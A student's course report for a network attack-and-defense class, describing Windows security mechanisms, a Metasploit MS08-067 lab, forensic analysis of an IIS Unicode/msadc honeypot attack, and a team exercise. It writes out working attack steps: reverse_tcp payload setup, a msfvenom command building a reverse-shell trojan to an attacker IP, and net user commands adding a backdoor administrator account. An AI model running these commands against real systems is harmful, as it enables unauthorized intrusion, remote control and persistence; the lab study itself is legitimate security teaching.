20199125 2019-2020-2 《网络攻防实践》第七周作业
一.概况
本次作业属于哪门课 | 网络攻防实践 |
---|---|
作业要求 | Windows操作系统安全攻防 |
收获 | 对于Windows上的一些漏洞和攻击方式有了深刻的理解,掌握如何利用metasploit进行攻击,同时也知道该如何防御 |
二.知识点梳理
1.Windows操作系统基本结构
1.1.windows系统的内核基本模块
- Windows执行体
- Windows内核体
- 设备驱动程序
- 硬件抽象层
- Windows窗口与图形界面接口内核实现代码
1.2.Windows系统在用户态的代码模块
- 系统支持进程
- 环境子系统服务进程
- 服务进程
- 用户应用软件
- 核心子系统DLL
1.3.Windows内核的核心机制
- Windows进程和线程管理机制
- Windows内存管理机制
- Windows文件管理机制
- Windows注册表管理机制
- Windows的网络机制
2.Windows操作系统的安全体系结构与机制
2.1.Windows安全体系结构
Wdinows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型,支持一台机器上多个用户之间安全的共享进程、内存、设备、文件及网络等类型的系统资源。Windows采用基于引用监控器模型来实现基本的对象安全模型。
2.2.Windows身份认证机制
Windows账户分为用户,用户组,和计算机三大类,Windows用户账户的口令经过加密处理后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中。
2.3.Windows授权与访问控制机制
Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
Windows对象安全符组成:
- Owner SID:对象所有者的SID安全标识符
- Group SID:对象所在基本用户组的SID安全标识符(兼容POSIX使用)
- DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象
- SACL 系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计
3.Windows远程攻击技术分类
- 远程口令猜测与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端及用户
4.Windows系统的安全漏洞生命周期
- Windows安全漏洞发现、利用与修补过程
- 安全漏洞公开披露信息库
- 针对特定目标的渗透测试攻击过程:①漏洞扫描测试;②查找针对发现漏洞的渗透代码;③实施渗透测试
- 使用Metasploit软件实施渗透测试
5.Windows远程口令猜测与破解攻击
- 远程口令自猜测
- 远程口令字交换通信窃听与破解
- 远程口令猜测与破解防范措施
6.Windows网络服务远程渗透攻击
- 针对NetBIOS网络服务的著名漏洞及攻击
- 针对SMB网络服务的著名漏洞及攻击
- 针对MSRPC网络服务的著名漏洞及攻击
- 针对Windows系统上微软网络服务的远程渗透攻击
- 针对Windows系统上第三方网络服务的远程渗透攻击
7.Windows本地安全攻防技术
7.1.Windows敏感信息窃取
- Windows系统口令字密文提取技术
- Windows系统口令字破解技术
- 用户敏感数据窃取
7.2.Windows消踪灭迹
- 关闭审计功能
- 清理事件日志
7.3.Windows远程控制与后门程序
- 命令行远程控制工具
- 图形化远程控制工具
三.实践内容
1.动手实践:Metasploit Windows Attack
原理:
MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。该漏洞利用了Server服务路径规范化处理不当漏洞进行利用。
实践:- linux中执行msfconsole启动metasploit工具
- 使用
MS08-067
漏洞攻击,使用该攻击模块,执行指令use windows/smb/ms08_067_netapi
.
- 设置监听载荷为shell,执行命令
set payload generic/shell_reverse_tcp
或者set PAYLOAD windows/meterpreter/reverse_tcp
,二者都可以,在这里我使用的是后一种方法。
- 设置好监听载荷以后,执行命令
show options
查看网络参数配置信息,其中Lhost为本机ip,Rhost为靶机ip
- 分别执行命令
set lhost [攻击机ip]
和set rhost [靶机ip]
来配置ip地址
- 设置好ip地址后,可以开始启动攻击,执行命令
exploit
发动攻击
- 当靶机中的MS08-067漏洞未修复时,就能够攻击成功,执行
shell
获取windows命令控制
- 获取成功后,即像在本机cmd操作一样,可以远程对靶机进行指令操作,输入
systeminfo
查看靶机信息
- 同时可以利用指令在靶机上创建一个攻击者的账户,以便日后攻击
- 检查靶机,发现成功创建了账户
- 光创建了账户还不行,要进行对系统的攻击,必须把我们创建的账号提权,获取管理员权限,所以继续在msfconsole中执行命令
net localgroup Administrators jackpan /add
,将我创建的账户加入到靶机管理员组中。
- 此时对该账户进行激活,执行命令
net user jackpan /active:yes
,激活账户。
- 查看靶机账户信息,我创建的账户具有管理员权限
2.取证分析实践:解码一次成功的NT系统破解攻击
- 首先我们用wireshark打开文件中给出的snort日志文件,对日志文件中的数据流进行筛选,首先筛选出所有HTTP协议的数据
- 逐条分析数据,发起http请求的主机系统内核为NT5.0,而响应http请求的服务端主机安装了IIS4.0服务组件,初步我们得到这些信息,接下来继续往下看。
- 在其中一条http请求中,发现和其他不同的地方,
Get
请求的默认页面后面加上了一些东西,指向了一个系统文件boot.ini
,查询该文件作用大概是确定计算机在重启(引导)过程中显示的可供选取的操作系统类别。Boot.ini在缺省状态下被设定为隐含和系统文件属性, 并且被标识为只读文件,由于不知道这是怎么意思,我把Get
后面的一串东西都复制到百度寻找答案,发现了一个叫做Unicode的漏洞。
- Unicode漏洞的原理就是:IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。分析上图中的特殊编码
%c0%af
,根据查询得知利用这个漏洞编码,根据不同系统内核可分为:Win NT4 编码为:%c1%9c
,Win2000 英文版 编码为:%c0%af
,所以可以确定受到攻击的主机系统为Win2000英文版。 - 继续往下分析,又发现一个奇怪的http请求,指向了一个dll动态链接库文件,我把这段复制到百度去匹配信息,在道客巴巴上发现了一篇文档讲的是关于一些攻击工具的源码,仔细看了其中一个的源码,里面出现了跟我分析这个http请求一模一样的东西,这个工具就是
msadc2.pl
。该工具利用了msadc漏洞,此漏洞是因windows NT 4.0 Option Pack中的组件MDAC(即Microsoft Data Access Components)引起的,它包含了一项RDS(Remote Data Service)的功能。RDS是Microsoft提供给使用者远程访问数据库的服务,它能够让使用者透过ODBC远程存取/查询服务器数据库中的数据信息,而在IIS服务器中,还能够让使用者通过一个位于/msadc虚拟目录内名为msadcs.dll的文件提供RDS服务,以便与远程使用者沟通。
经过上述分析,可以得出结论,攻击者利用了Unicode和msadc漏洞,使用msadc2.p2
工具发起攻击 - 继续分析攻击者的攻击过程,还是从上面的数据流来看,下图中攻击者使用了SQl注入,在靶机系统目录下生成一个文件
- 利用Unicode漏洞获取注入到靶机系统目录
- 攻击者使用虚假的ftp账户来同nether.net建立连接,并尝试下载三个文件,但是没有成功,其中samdump.dll是管理账户文件的链接库,nc.exe是netcat生成的一个后门程序
- 利用cmd执行pdump.exe,并将结果保存到new.pass,这里我查了不知道这个pdump.exe是干嘛用的,而这个new.pass猜测应该是一个保存password的文件,所以猜测pdump是用来破解密码的。
- 攻击者又一次建立了ftp连接,使用了虚假账户进行登录,未成功
- 攻击者一计不成,再施一计,利用cmd指令控制靶机同自己建立ftp连接
- 下一步攻击者又对靶机执行了open命令,这一步没看懂啥意思
- 后面攻击者又控制靶机对nether.net建立ftp连接并下载三个文件,现在我清楚了这一系列操作是什么意思,大概就是攻击者利用msadc漏洞对靶机实施远程控制,控制靶机连接某台主机并下载恶意文件。
- 攻击者使用Unicode漏洞来通过nc后门用6969端口建立连接
-攻击者控制靶机之后,执行了一些指令,如下图所示,查看个删除了一些文件,创建了一个账户,并尝试将提升账户权限
- 完成窃取密码以后,攻击者删除了靶机上的samdump.dll和pdump.exe,消除痕迹,而留下了nc后门。
-攻击者又一次重复了上面的操作
- 继续分析数据流,发现攻击者在靶机上写入了一个txt文件,攻击者已经察觉到靶机是一个蜜罐主机
- 攻击者在退出之前修改了靶机上IWAN账户的口令为
Snake69Snake69
。
如何防御这类攻击:Unicode漏洞和msadc(RDS)漏洞微软都发布了漏洞补丁,打补丁是一种好的方法,其次,更换IIS4,使用高版本IIS组件,配置软硬件防火墙和入侵防御系统。
3.团队对抗实践
要求:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
- 这里我使用了反弹shell来进行渗透攻击,首先执行命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.23 LPORT=19286 -f exe > /root/reverse.exe
生成一个反弹木马,然后将木马发送到靶机上。
- 然后启动监听模块,
use exploit/multi/handler
,设置监听载荷set payload windows/meterpreter/reverse_tcp
,配置监听ip和端口并运行
- 当靶机上的木马被点击以后,木马会自动同攻击机建立连接,此时打开wireshark抓取数据包,反弹木马建立连接以后,查看账户信息以及提升账户权限,输入
shell
执行
- 对靶机执行命令查看arp缓存表等操作
- 同时打开wireshark看所捕获的数据流,但是发现生成的反弹木马同攻击机建立的连接是加密的,是无法看到攻击者对靶机发送了什么指令